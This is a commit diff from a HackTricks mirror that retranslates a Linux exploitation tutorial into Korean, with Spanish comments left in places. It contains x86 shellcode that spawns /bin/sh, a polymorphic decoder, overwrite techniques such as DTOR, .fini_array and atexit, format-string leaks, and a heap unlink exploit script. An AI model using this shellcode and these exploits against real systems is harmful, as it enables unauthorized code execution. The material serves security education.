mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 06:30:37 +00:00
Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'reversin
This commit is contained in:
parent
3da4789b5e
commit
26d9f6373b
7 changed files with 344 additions and 222 deletions
|
@ -702,6 +702,7 @@
|
|||
* [EBP2Ret - EBP chaining](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ebp2ret-ebp-chaining.md)
|
||||
* [Ret2win](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md)
|
||||
* [Ret2ret](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md)
|
||||
* [Ret2esp / Ret2reg](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md)
|
||||
* [Ret2syscall](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md)
|
||||
* [Format Strings](reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md)
|
||||
* [Format Strings Template](reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/format-strings-template.md)
|
||||
|
@ -715,7 +716,9 @@
|
|||
* [Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md)
|
||||
* [BF Forked Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md)
|
||||
* [Print Stack Canary](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md)
|
||||
* [One Gadget](reversing-and-exploiting/linux-exploiting-basic-esp/one-gadget.md)
|
||||
* [Arbitrary Write 2 Exec](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/README.md)
|
||||
* [AW2Exec - \_\_malloc\_hook](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-\_\_malloc\_hook.md)
|
||||
* [AW2Exec - GOT/PLT](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md)
|
||||
* [ELF Basic Information](reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md)
|
||||
* [Fusion](exploiting/linux-exploiting-basic-esp/fusion.md)
|
||||
|
|
|
@ -1,37 +1,37 @@
|
|||
# 리눅스 Exploiting (기본) (SPA)
|
||||
# Linux Exploiting (Basic) (SPA)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>!</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>AWS 해킹을 처음부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>와 함께!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하길 원한다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [telegram 그룹](https://t.me/peass)에 **가입**하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## **2.SHELLCODE**
|
||||
|
||||
Ver interrupciones de kernel: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
|
||||
View kernel interrupts: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
|
||||
|
||||
setreuid(0,0); // \_\_NR\_setreuid 70\
|
||||
execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\
|
||||
exit(0); // \_\_NR\_exit 1
|
||||
|
||||
xor eax, eax ; limpiamos eax\
|
||||
xor ebx, ebx ; ebx = 0 pues no hay argumento que pasar\
|
||||
xor eax, eax ; clear eax\
|
||||
xor ebx, ebx ; ebx = 0 as there are no arguments to pass\
|
||||
mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
|
||||
int 0x80 ; Ejecutar syscall
|
||||
int 0x80 ; Execute syscall
|
||||
|
||||
**nasm -f elf assembly.asm** —> Nos devuelve un .o\
|
||||
**ld assembly.o -o shellcodeout** —> Nos da un ejecutable formado por el código ensamblador y podemos sacar los opcodes con **objdump**\
|
||||
**objdump -d -Mintel ./shellcodeout** —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes
|
||||
**nasm -f elf assembly.asm** —> Returns a .o file\
|
||||
**ld assembly.o -o shellcodeout** —> Gives us an executable formed by the assembly code and we can extract the opcodes with **objdump**\
|
||||
**objdump -d -Mintel ./shellcodeout** —> To verify that it is indeed our shellcode and extract the OpCodes
|
||||
|
||||
**Comprobar que la shellcode funciona**
|
||||
**Verify that the shellcode works**
|
||||
```
|
||||
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
|
||||
|
||||
|
@ -43,9 +43,9 @@ fp();
|
|||
```
|
||||
시스템 호출이 올바르게 이루어졌는지 확인하려면 이전 프로그램을 컴파일하고 시스템 호출이 **strace ./COMPILADO_프로그램**에 나타나야 합니다.
|
||||
|
||||
쉘코드를 작성할 때 한 가지 트릭을 사용할 수 있습니다. 첫 번째 명령은 call로 이어지는 점프입니다. Call은 원래 코드를 호출하고 EIP를 스택에 넣습니다. Call 명령 다음에 필요한 문자열을 넣었으므로 해당 EIP로 문자열을 가리킬 수 있으며 코드 실행을 계속할 수 있습니다.
|
||||
쉘코드를 작성할 때 한 가지 트릭을 사용할 수 있습니다. 첫 번째 명령은 call로 이어지는 점프입니다. 이 call은 원래 코드를 호출하고 동시에 EIP를 스택에 넣습니다. call 명령 다음에 필요한 문자열을 넣었으므로 해당 EIP로 문자열을 가리킬 수 있으며 코드 실행을 계속할 수 있습니다.
|
||||
|
||||
예: **트릭 (/bin/sh)**:
|
||||
예시 **트릭 (/bin/sh)**:
|
||||
```
|
||||
jmp 0x1f ; Salto al último call
|
||||
popl %esi ; Guardamos en ese la dirección al string
|
||||
|
@ -87,7 +87,7 @@ mov al, 0x0b ; Syscall 11
|
|||
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
|
||||
```
|
||||
**EJ FNSTENV:**
|
||||
EJ FNSTENV는 ESP 레지스터를 복사하고, 현재 스택 포인터를 저장하는 명령어입니다.
|
||||
EJ FNSTENV는 ESP 레지스터를 복사하고, 해당 레지스터가 가리키는 주소에 있는 값을 스택에 푸시하는 명령어입니다.
|
||||
```
|
||||
fabs
|
||||
fnstenv [esp-0x0c]
|
||||
|
@ -96,11 +96,11 @@ pop eax ; Guarda el EIP en el que se ejecutó fabs
|
|||
```
|
||||
**Egg Hunter:**
|
||||
|
||||
프로세스와 관련된 메모리 페이지를 탐색하여 거기에 저장된 셸코드를 찾는 작은 코드입니다 (셸코드에 넣은 특정 서명을 찾습니다). 코드를 주입할 공간이 매우 작은 경우 유용합니다.
|
||||
프로세스와 관련된 메모리 페이지를 탐색하여 거기에 저장된 셸코드를 찾는 작은 코드입니다 (셸코드에 넣은 서명을 찾습니다). 코드를 삽입할 작은 공간만 있는 경우 유용합니다.
|
||||
|
||||
**다형 셸코드**
|
||||
|
||||
암호화된 셸로, 해독하고 해당 위치로 점프하는 작은 코드가 포함되어 있습니다. Call-Pop 트릭을 사용하는 **시저 암호화된 예제**가 있습니다:
|
||||
작은 코드로 암호화된 셸들로, 해독하고 해당 코드로 이동하는 작은 코드가 포함되어 있습니다. Call-Pop 트릭을 사용하는 경우 **시저 암호화된 예제**가 될 것입니다:
|
||||
```
|
||||
global _start
|
||||
_start:
|
||||
|
@ -125,37 +125,27 @@ sc:
|
|||
|
||||
EIP에 스택 주소를 넣을 수 없거나 (EIP에 0xbf가 포함되어 있지 않음을 확인) 또는 shellcode의 위치를 계산할 수 없을 때 유용합니다. 그러나 취약한 함수가 매개변수를 수용하는 경우 (shellcode가 여기에 들어갑니다).
|
||||
|
||||
이렇게 하면 EIP를 **ret** 주소로 변경하면 다음 주소가로 로드됩니다 (이는 함수의 첫 번째 인수의 주소입니다). 즉, shellcode가 로드됩니다.
|
||||
이렇게 하면 EIP를 **ret** 주소로 변경하면 다음 주소가로드됩니다 (이는 함수의 첫 번째 인수의 주소입니다). 즉, shellcode가로드됩니다.
|
||||
|
||||
Exploit은 다음과 같습니다: SHELLCODE + 패딩 (EIP까지) + **\&ret** (스택에 매개변수 주소가 들어가므로 스택의 다음 바이트는 shellcode의 시작을 가리킵니다)
|
||||
Exploit은 다음과 같습니다: SHELLCODE + 패딩 (EIP까지) + **\&ret** (스택에 매개변수가 전달된 주소가 들어가므로 스택의 다음 바이트는 shellcode의 시작을 가리킵니다)
|
||||
|
||||
**strncpy**와 같은 함수는 완료되면 쉘코드가 저장된 주소를 스택에서 제거하여 이 기술을 불가능하게 합니다. 즉, 함수에 전달된 주소 (쉘코드를 저장하는 주소)는 0x00으로 수정되어 두 번째 **ret**를 호출할 때 0x00을 만나 프로그램이 종료됩니다.
|
||||
|
||||
|
||||
|
||||
**Murat 기법**
|
||||
**Murat 기술**
|
||||
|
||||
Linux에서 모든 프로그램은 0xbfffffff에서 매핑됩니다.
|
||||
|
||||
Linux에서 새 프로세스의 스택이 어떻게 구성되는지 살펴보면 프로그램이 쉘코드만 포함된 환경에서 시작되도록 exploit을 개발할 수 있습니다. 따라서 쉘코드가 있는 환경 변수의 주소는 다음과 같이 계산할 수 있습니다: addr = 0xbfffffff - 4 - strlen(FULL\_EXECUTABLE\_NAME) - strlen(shellcode)
|
||||
새로운 프로세스의 스택이 어떻게 구성되는지 살펴보면 프로그램이 shellcode만 있는 환경에서 시작되도록 exploit을 개발할 수 있습니다. 따라서 이것의 주소는 다음과 같이 계산할 수 있습니다: addr = 0xbfffffff - 4 - strlen(FULL\_실행파일\_이름) - strlen(shellcode)
|
||||
|
||||
이렇게 하면 쉘코드가 있는 환경 변수의 주소를 쉽게 얻을 수 있습니다.
|
||||
이렇게 하면 shellcode가 있는 환경 변수의 주소를 쉽게 얻을 수 있습니다.
|
||||
|
||||
이것은 execle 함수가 원하는 환경 변수만을 가진 환경을 만들 수 있기 때문에 가능합니다.
|
||||
|
||||
**Jump to ESP: Windows Style**
|
||||
|
||||
ESP가 항상 스택의 시작을 가리키고 있기 때문에, 이 기술은 EIP를 **jmp esp** 또는 **call esp** 호출로 대체하는 것으로 구성됩니다. 이렇게 하면 EIP를 덮어쓴 후에도 shellcode가 저장되어 있으며, **ret**를 실행한 후 ESP는 바로 다음 주소를 가리키게 됩니다. 즉, shellcode가 저장된 곳입니다.
|
||||
|
||||
Windows 또는 Linux에서 ASLR이 활성화되어 있지 않은 경우, 공유된 객체에 저장된 **jmp esp** 또는 **call esp**를 호출할 수 있습니다. ASLR이 활성화된 경우, 취약한 프로그램 내에서 찾을 수 있습니다.
|
||||
|
||||
또한, 함수의 EIP 손상 후에 shellcode를 배치할 수 있기 때문에, 함수 스택 중간에 놓는 대신 shellcode를 덮어쓸 수 있는 push 또는 pop 명령이 실행되지 않도록 할 수 있습니다.
|
||||
|
||||
이와 매우 유사하게, 함수가 쉘코드가 저장된 위치를 반환하는 경우 **call eax** 또는 **jmp eax (ret2eax)**를 호출할 수 있습니다.
|
||||
|
||||
**정수 오버플로우**
|
||||
|
||||
이 유형의 오버플로우는 변수가 전달된 숫자만큼 큰 수를 처리할 수 없을 때 발생하며, 부호 있는 변수와 부호 없는 변수 사이의 혼란으로 인해 발생할 수 있습니다.
|
||||
이 유형의 오버플로우는 변수가 전달된 숫자만큼 큰 수를 처리할 수 없을 때 발생하며, 부호 있는 변수와 부호 없는 변수 간의 혼란 때문에 발생할 수 있습니다.
|
||||
```c
|
||||
#include <stdion.h>
|
||||
#include <string.h>
|
||||
|
@ -184,11 +174,11 @@ return 0;
|
|||
|
||||
첫 번째 매개변수로 음수를 전달하면 len < 256이라는 메시지가 표시되어 해당 필터를 통과하게 되며, 또한 strlen(buffer)도 l보다 작을 것이며, l은 unsigned int이므로 매우 크게 될 것입니다.
|
||||
|
||||
이러한 종류의 오버플로우는 프로그램의 프로세스에 무언가를 쓰려는 것이 아니라, 다른 취약점을 악용하기 위해 잘못 설계된 필터를 우회하려는 것입니다.
|
||||
이러한 종류의 오버플로우는 프로그램의 프로세스에 무언가를 쓰려는 것이 아니라, 다른 취약점을 악용하기 위해 잘못 설계된 필터를 우회하는 것을 목표로 합니다.
|
||||
|
||||
**초기화되지 않은 변수**
|
||||
|
||||
초기화되지 않은 변수가 취할 수 있는 값은 알 수 없으며, 이를 관찰하는 것이 흥미로울 수 있습니다. 이전 함수의 변수가 취했던 값이 취할 수도 있으며, 이는 공격자가 제어할 수 있습니다.
|
||||
초기화되지 않은 변수가 취할 수 있는 값을 알 수 없으며, 이를 관찰하는 것이 흥미로울 수 있습니다. 이 변수가 이전 함수의 변수가 취했던 값이 될 수 있고, 이는 공격자에 의해 제어될 수 있습니다.
|
||||
|
||||
##
|
||||
|
||||
|
@ -200,7 +190,7 @@ return 0;
|
|||
|
||||
### **.fini\_array**
|
||||
|
||||
본질적으로 이는 **프로그램이 끝나기 전에 호출될 함수들을 포함하는 구조**입니다. 이는 **주소로 점프하여 쉘코드를 호출**하거나 형식 문자열을 **두 번째로 악용하기 위해 다시 main으로 돌아가야 하는 경우**에 유용합니다.
|
||||
본질적으로 이는 **프로그램이 끝나기 전에 호출될 함수**를 포함하는 구조체입니다. 이는 **주소로 점프하여 쉘코드를 호출**하거나 형식 문자열을 **두 번째로 악용하기 위해 다시 main으로 돌아가야 하는 경우**에 유용합니다.
|
||||
```bash
|
||||
objdump -s -j .fini_array ./greeting
|
||||
|
||||
|
@ -211,11 +201,11 @@ Contents of section .fini_array:
|
|||
|
||||
#Put your address in 0x8049934
|
||||
```
|
||||
이것은 **영원한 루프**를 **생성하지 않습니다**. 왜냐하면 메인으로 돌아가면 canary가 감지하여 스택의 끝이 손상되어 함수가 다시 호출되지 않을 수 있습니다. 따라서 이를 통해 취약점을 **1번 더 실행**할 수 있습니다.
|
||||
이것은 **영원한 루프**를 **생성하지 않습니다**. 왜냐하면 메인으로 돌아가면 canary가 감지하여 스택의 끝이 손상되고 함수가 다시 호출되지 않을 것입니다. 따라서 이를 통해 취약점을 **1번 더 실행**할 수 있습니다.
|
||||
|
||||
### **콘텐츠 덤프를 위한 형식 문자열**
|
||||
|
||||
형식 문자열은 프로그램의 메모리에서 **콘텐츠를 덤프**하는 데 악용될 수 있습니다.\
|
||||
형식 문자열은 프로그램 메모리에서 **콘텐츠를 덤프**하는 데 악용될 수 있습니다.\
|
||||
예를 들어, 다음 상황에서는 **플래그를 가리키는 스택의 로컬 변수**가 있습니다. **메모리**에서 **플래그를 가리키는 포인터**가 어디에 있는지 **찾으면**, **printf가 해당 주소에 액세스**하고 **플래그를 출력**할 수 있습니다:
|
||||
|
||||
그래서, 플래그는 **0xffffcf4c**에 있습니다.
|
||||
|
@ -226,31 +216,31 @@ Contents of section .fini_array:
|
|||
|
||||
![](<../../.gitbook/assets/image (623).png>)
|
||||
|
||||
따라서 **8번째 매개변수에 액세스**하여 플래그를 얻을 수 있습니다:
|
||||
따라서 **8번째 매개변수에 액세스**하면 플래그를 얻을 수 있습니다:
|
||||
|
||||
![](<../../.gitbook/assets/image (624).png>)
|
||||
|
||||
**이전 exploit을 따라가고 콘텐츠를 누출할 수 있음을 깨달았다면**, **`printf`**에 **포인터를 설정**하여 **실행 파일이 로드된 섹션**으로 이동하여 **전체적으로 덤프**할 수 있습니다!
|
||||
**이전 exploit을 따라가고 콘텐츠를 누출할 수 있다는 것을 깨닫고** `printf`에 **포인터를 설정**하여 **실행 파일이 로드된 섹션으로 포인터를 설정**하고 **전체적으로 덤프**할 수 있습니다!
|
||||
|
||||
### **DTOR**
|
||||
|
||||
{% hint style="danger" %}
|
||||
요즘에는 **dtor 섹션을 가진 이진 파일을 찾기가 매우 이상합니다**.
|
||||
요즘에는 dtor 섹션이 있는 이진 파일을 찾기가 매우 **이상**합니다.
|
||||
{% endhint %}
|
||||
|
||||
소멸자는 프로그램이 종료되기 전에 **실행되는 함수**입니다.\
|
||||
**`__DTOR_END__`**에 **쉘코드의 주소를 쓰는 데 성공**하면, 그것은 프로그램이 끝나기 전에 **실행**될 것입니다.\
|
||||
소멸자는 프로그램이 **종료되기 전에 실행되는 함수**입니다.\
|
||||
**`__DTOR_END__`**에 **쉘코드의 주소를 쓰는 데 성공**하면 해당 프로그램이 종료되기 전에 실행됩니다.\
|
||||
이 섹션의 주소를 얻으려면:
|
||||
```bash
|
||||
objdump -s -j .dtors /exec
|
||||
rabin -s /exec | grep “__DTOR”
|
||||
```
|
||||
보통 **DTOR** 섹션은 `ffffffff`와 `00000000` 값 사이에 있습니다. 그러므로 이 값만 보인다면, **등록된 함수가 없다는 것**을 의미합니다. 따라서 **`00000000`**을 **쉘코드의 주소로 덮어씌우세요**.
|
||||
일반적으로 **DTOR** 섹션은 값 `ffffffff`와 `00000000` 사이에 **위치**합니다. 따라서 이러한 값만 보인다면, **등록된 함수가 없다는 것**을 의미합니다. 따라서 **`00000000`**을 **쉘코드의 주소로 덮어씁니다**.
|
||||
|
||||
### **포맷 문자열을 이용한 버퍼 오버플로우**
|
||||
|
||||
**sprintf**는 형식화된 문자열을 **변수에** 이동시킵니다. 따라서 문자열의 **형식을 남용**하여 복사된 내용이 있는 변수에서 **버퍼 오버플로우를 유발**할 수 있습니다.\
|
||||
예를 들어, 페이로드 `%.44xAAAA`는 변수에 **44바이트+"AAAA"를 쓸 것**이며, 이는 버퍼 오버플로우를 일으킬 수 있습니다.
|
||||
**sprintf**는 형식화된 문자열을 **변수에 이동**시킵니다. 따라서 문자열의 **형식을 남용**하여 복사된 내용이 있는 변수에서 **버퍼 오버플로우를 유발**할 수 있습니다.\
|
||||
예를 들어, 페이로드 `%.44xAAAA`는 변수에 **44바이트+"AAAA"를 쓸 것**이며, 이는 버퍼 오버플로우를 유발할 수 있습니다.
|
||||
|
||||
### **\_\_atexit 구조체**
|
||||
|
||||
|
@ -258,10 +248,10 @@ rabin -s /exec | grep “__DTOR”
|
|||
현재는 이를 **악용하는 것이 매우 이상합니다**.
|
||||
{% endhint %}
|
||||
|
||||
**`atexit()`**은 **매개변수로 전달된 다른 함수들을** 실행합니다. 이러한 **함수들**은 **`exit()`를 실행하거나 main이 반환될 때 실행**됩니다.\
|
||||
예를 들어, 이러한 **함수들** 중 **어떤 것의 주소를 수정**하여 쉘코드를 가리키도록 한다면, **프로세스를 제어**할 수 있지만 현재 이 작업은 더 복잡해졌습니다.\
|
||||
현재 **실행될 함수들의 주소**는 여러 구조체 뒤에 숨겨져 있으며, 마지막으로 그 주소는 함수들의 주소가 아니라 **XOR로 암호화되고 무작위 키로 이동**됩니다. 따라서 현재 이 공격 벡터는 **적어도 x86** 및 **x64\_86**에서는 그다지 유용하지 않습니다.\
|
||||
**암호화 함수**는 **`PTR_MANGLE`**입니다. **m68k, mips32, mips64, aarch64, arm, hppa**와 같은 **다른 아키텍처**는 이 **암호화 함수를 구현하지 않습니다**. 따라서 이러한 아키텍처는 이 벡터에 의해 공격당할 수 있습니다.
|
||||
**`atexit()`**은 **매개변수로 전달된 다른 함수들**이 **`exit()`를 실행하거나 main이 반환될 때 실행**됩니다.\
|
||||
예를 들어, 이러한 **함수들의 주소를 수정**하여 쉘코드를 가리키도록 변경할 수 있다면, **프로세스를 제어**할 수 있지만, 현재 이 작업은 더 복잡해졌습니다.\
|
||||
현재 **실행될 함수들의 주소**는 여러 구조체 뒤에 숨겨져 있으며, 마지막으로 그 주소는 함수들의 주소가 아니라 **XOR로 암호화**되고 **임의의 키로 이동**됩니다. 따라서 현재 이 공격 벡터는 **적어도 x86** 및 **x64\_86**에서는 그다지 유용하지 않습니다.\
|
||||
**암호화 함수**는 **`PTR_MANGLE`**입니다. **m68k, mips32, mips64, aarch64, arm, hppa**와 같은 **다른 아키텍처**는 **입력과 동일한 값을 반환**하기 때문에 암호화 함수를 구현하지 않습니다. 따라서 이러한 아키텍처는 이러한 벡터에 의해 공격당할 수 있습니다.
|
||||
|
||||
### **setjmp() & longjmp()**
|
||||
|
||||
|
@ -272,15 +262,15 @@ rabin -s /exec | grep “__DTOR”
|
|||
**`Setjmp()`**는 **컨텍스트(레지스터)를 저장**할 수 있습니다.\
|
||||
**`longjmp()`**는 **컨텍스트를 복원**할 수 있습니다.\
|
||||
저장된 레지스터는 `EBX, ESI, EDI, ESP, EIP, EBP`입니다.\
|
||||
그러나 EIP와 ESP는 **`PTR_MANGLE`** 함수를 통해 전달되므로, **이 공격에 취약한 아키텍처는 위와 동일**합니다.\
|
||||
이러한 함수들은 오류 복구나 인터럽트에 유용합니다.\
|
||||
그러나 EIP와 ESP는 **`PTR_MANGLE`** 함수를 통해 전달되므로, 이 공격에 취약한 아키텍처는 **위에서 언급한 것과 동일**합니다.\
|
||||
이들은 오류 복구나 인터럽트에 유용합니다.\
|
||||
그러나 제가 읽은 바에 따르면, 다른 레지스터는 보호되지 않습니다. 따라서 호출되는 함수 내부에 `call ebx`, `call esi` 또는 `call edi`가 있다면 제어를 얻을 수 있습니다. 또는 EBP를 수정하여 ESP를 수정할 수도 있습니다.
|
||||
|
||||
**C++에서의 VTable 및 VPTR**
|
||||
**VTable 및 VPTR in C++**
|
||||
|
||||
각 클래스에는 **메서드에 대한 포인터 배열인 Vtable**이 있습니다.
|
||||
|
||||
각 **클래스**의 객체에는 해당 클래스의 배열을 가리키는 **포인터인 VPtr**이 있습니다. VPtr은 각 객체의 헤더의 일부이므로 VPtr을 덮어쓰면 더미 메서드를 가리키도록 수정하여 함수를 실행하면 쉘코드로 이동할 수 있습니다.
|
||||
각 **클래스**의 객체에는 해당 클래스의 배열을 가리키는 **VPtr**이 있습니다. VPtr은 각 객체의 헤더의 일부이므로 VPtr을 덮어쓰면 더미 메서드를 가리키도록 수정할 수 있어 함수를 실행하면 쉘코드로 이동할 수 있습니다.
|
||||
|
||||
## **예방 및 회피 조치**
|
||||
|
||||
|
@ -296,17 +286,17 @@ rabin -s /exec | grep “__DTOR”
|
|||
|
||||
**ASCII Armored Address Space**
|
||||
|
||||
공유 라이브러리를 0x00000000에서 0x00ffffff로 로드하여 항상 0x00 바이트가 있도록 합니다. 그러나 이는 실제로 거의 모든 공격을 막지 못하며, 리틀 엔디안에서는 특히 그렇습니다.
|
||||
공유 라이브러리를 0x00000000에서 0x00ffffff로 로드하여 항상 0x00 바이트가 있도록 합니다. 그러나 이는 사실상 거의 모든 공격을 막지 못하며, 리틀 엔디안에서는 특히 그렇습니다.
|
||||
|
||||
**ret2plt**
|
||||
|
||||
strcpy@plt 함수를 호출하고 GOT의 항목을 가리키도록 하여 호출하려는 함수(system())의 첫 번째 바이트를 복사하는 방식으로 ROP를 수행하는 것입니다. 그런 다음 GOT+1을 가리키도록 하여 system()의 두 번째 바이트를 복사합니다. 마지막으로 GOT에 저장된 주소(system()일 것)를 호출합니다.
|
||||
strcpy@plt 함수를 호출하고 GOT의 항목을 가리키도록 하여 호출하려는 함수(system())의 첫 번째 바이트를 복사하는 ROP를 수행하는 것입니다. 그런 다음 GOT+1을 가리키도록 하여 system()의 두 번째 바이트를 복사합니다. 마지막으로 GOT에 저장된 주소(system()일 것)를 호출합니다.
|
||||
|
||||
**chroot()로 감옥 만들기**
|
||||
|
||||
debootstrap -arch=i386 hardy /home/user —> 특정 하위 디렉토리에 기본 시스템을 설치합니다.
|
||||
|
||||
관리자는 이러한 감옥을 빠져나가기 위해 다음을 수행할 수 있습니다: mkdir foo; chroot foo; cd ..
|
||||
관리자는 이러한 감옥 중 하나에서 나오려면 다음을 수행합니다: mkdir foo; chroot foo; cd ..
|
||||
|
||||
**코드 인스트루먼테이션**
|
||||
|
||||
|
@ -328,17 +318,17 @@ Insure++
|
|||
|
||||
**addr\_sc = pack("\<I", 0x0804a008 + 8) #페이로드의 처음에 8바이트의 채우기를 넣음**
|
||||
|
||||
**got\_free = pack("\<I", 0x08048300 - 12) #plt의 free() 주소-12 (free가 두 번째 호출될 때 shellcode가 실행되도록 덮어씌워질 주소)**
|
||||
**got\_free = pack("\<I", 0x08048300 - 12) #plt-12의 free() 주소 (free가 두 번째로 호출될 때 shellcode가 실행되도록 덮어씌워질 주소)**
|
||||
|
||||
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) #페이로드는 8바이트의 채우기로 시작함**
|
||||
|
||||
**payload += prev\_size + fake\_size + got\_free + addr\_sc #두 번째 청크를 수정하고, got\_free는 addr\_sc + 12 주소를 저장할 위치를 가리킴**
|
||||
**payload += prev\_size + fake\_size + got\_free + addr\_sc #두 번째 청크를 수정하고, got\_free는 addr\_sc + 12 주소를 저장할 곳을 가리키게 함**
|
||||
|
||||
**os.system("./8.3.o " + payload)**
|
||||
|
||||
**unset() liberando en sentido inverso (wargame)**
|
||||
|
||||
우리는 연속적으로 3개의 청크를 제어하고, 그들은 예약된 순서의 역순으로 해제됩니다.
|
||||
우리는 연속적으로 3개의 청크를 제어하고, 역순으로 해제됩니다.
|
||||
|
||||
이 경우:
|
||||
|
||||
|
@ -348,47 +338,47 @@ Insure++
|
|||
|
||||
또한, 헤더 b의 size를 -4로 덮어씁니다.
|
||||
|
||||
그러면 프로그램은 "a"가 비어 있고 bin에 있는 것으로 생각하여 unlink()를 호출합니다. 그러나 헤더 PREV\_SIZE가 -4이므로 "a" 청크가 실제로 b+4에서 시작한다고 생각합니다. 즉, b+4에서 시작하는 청크를 unlink()하게 되며, 따라서 b+12에는 "fd" 포인터가 있고 b+16에는 "bk" 포인터가 있습니다.
|
||||
그러면 프로그램은 "a"가 비어 있고 bin에 있는 것으로 생각하여 unlink()를 호출합니다. 그러나 헤더 PREV\_SIZE가 -4이므로 "a" 청크가 실제로 b+4에서 시작한다고 생각합니다. 즉, unlink()를 b+4에서 시작하는 청크에 대해 호출하게 되어 b+12에는 "fd" 포인터가 있고 b+16에는 "bk" 포인터가 있습니다.
|
||||
|
||||
따라서, bk에는 shellcode 주소를, fd에는 "puts()" 함수 주소-12를 넣으면 페이로드가 완성됩니다.
|
||||
따라서 bk에는 shellcode 주소를 넣고 fd에는 "puts()" 함수 주소-12를 넣으면 페이로드가 완성됩니다.
|
||||
|
||||
**Frontlink 기법**
|
||||
**Frontlink 기술**
|
||||
|
||||
해제된 것이 있고 인접한 청크가 모두 비어 있지 않은 경우 unlink()가 호출되지 않고 직접 frontlink()가 호출됩니다.
|
||||
|
||||
공격 대상이 되는 malloc이 결코 해제되지 않을 때 유용한 취약점입니다.
|
||||
공격 대상이 되는 malloc이 결코 해제되지 않는 경우에 유용한 취약점입니다.
|
||||
|
||||
필요한 것:
|
||||
|
||||
데이터 입력 함수로 오버플로우가 발생할 수 있는 버퍼
|
||||
|
||||
해제되어야 하는 인접한 버퍼로, 이전 버퍼의 오버플로우로 인해 헤더의 fd 필드가 수정됩니다.
|
||||
해제되어야 하는 인접한 버퍼로 이전 버퍼의 오버플로우로 인해 헤더의 fd 필드가 수정될 수 있음
|
||||
|
||||
512보다 크고 이전 버퍼보다 작은 크기의 버퍼
|
||||
|
||||
3단계 이전에 선언된 버퍼로 이 버퍼의 prev\_size를 덮어쓸 수 있어야 합니다.
|
||||
3단계 이전에 선언된 버퍼로 이 버퍼의 prev\_size를 덮어쓸 수 있어야 함
|
||||
|
||||
이렇게 함으로써 두 개의 malloc을 무질서하게 덮어쓰고 하나는 제어된 상태로 해제되는 exploit을 수행할 수 있습니다.
|
||||
이렇게 함으로써 두 개의 malloc을 무작위로 덮어쓰고 하나는 제어된 상태로 해제되는 취약점을 이용할 수 있습니다.
|
||||
|
||||
**Double free() 취약점**
|
||||
|
||||
동일한 포인터로 두 번 free()를 호출하면 두 개의 bin이 동일한 주소를 가리키게 됩니다.
|
||||
동일한 포인터로 두 번 free()를 호출하면 두 개의 bin이 동일한 주소를 가리킵니다.
|
||||
|
||||
하나를 다시 사용하려면 문제가 없이 할당됩니다. 다른 것을 사용하려면 이전 예약에서 작성된 데이터로 "fd"와 "bk" 포인터가 왜곡됩니다.
|
||||
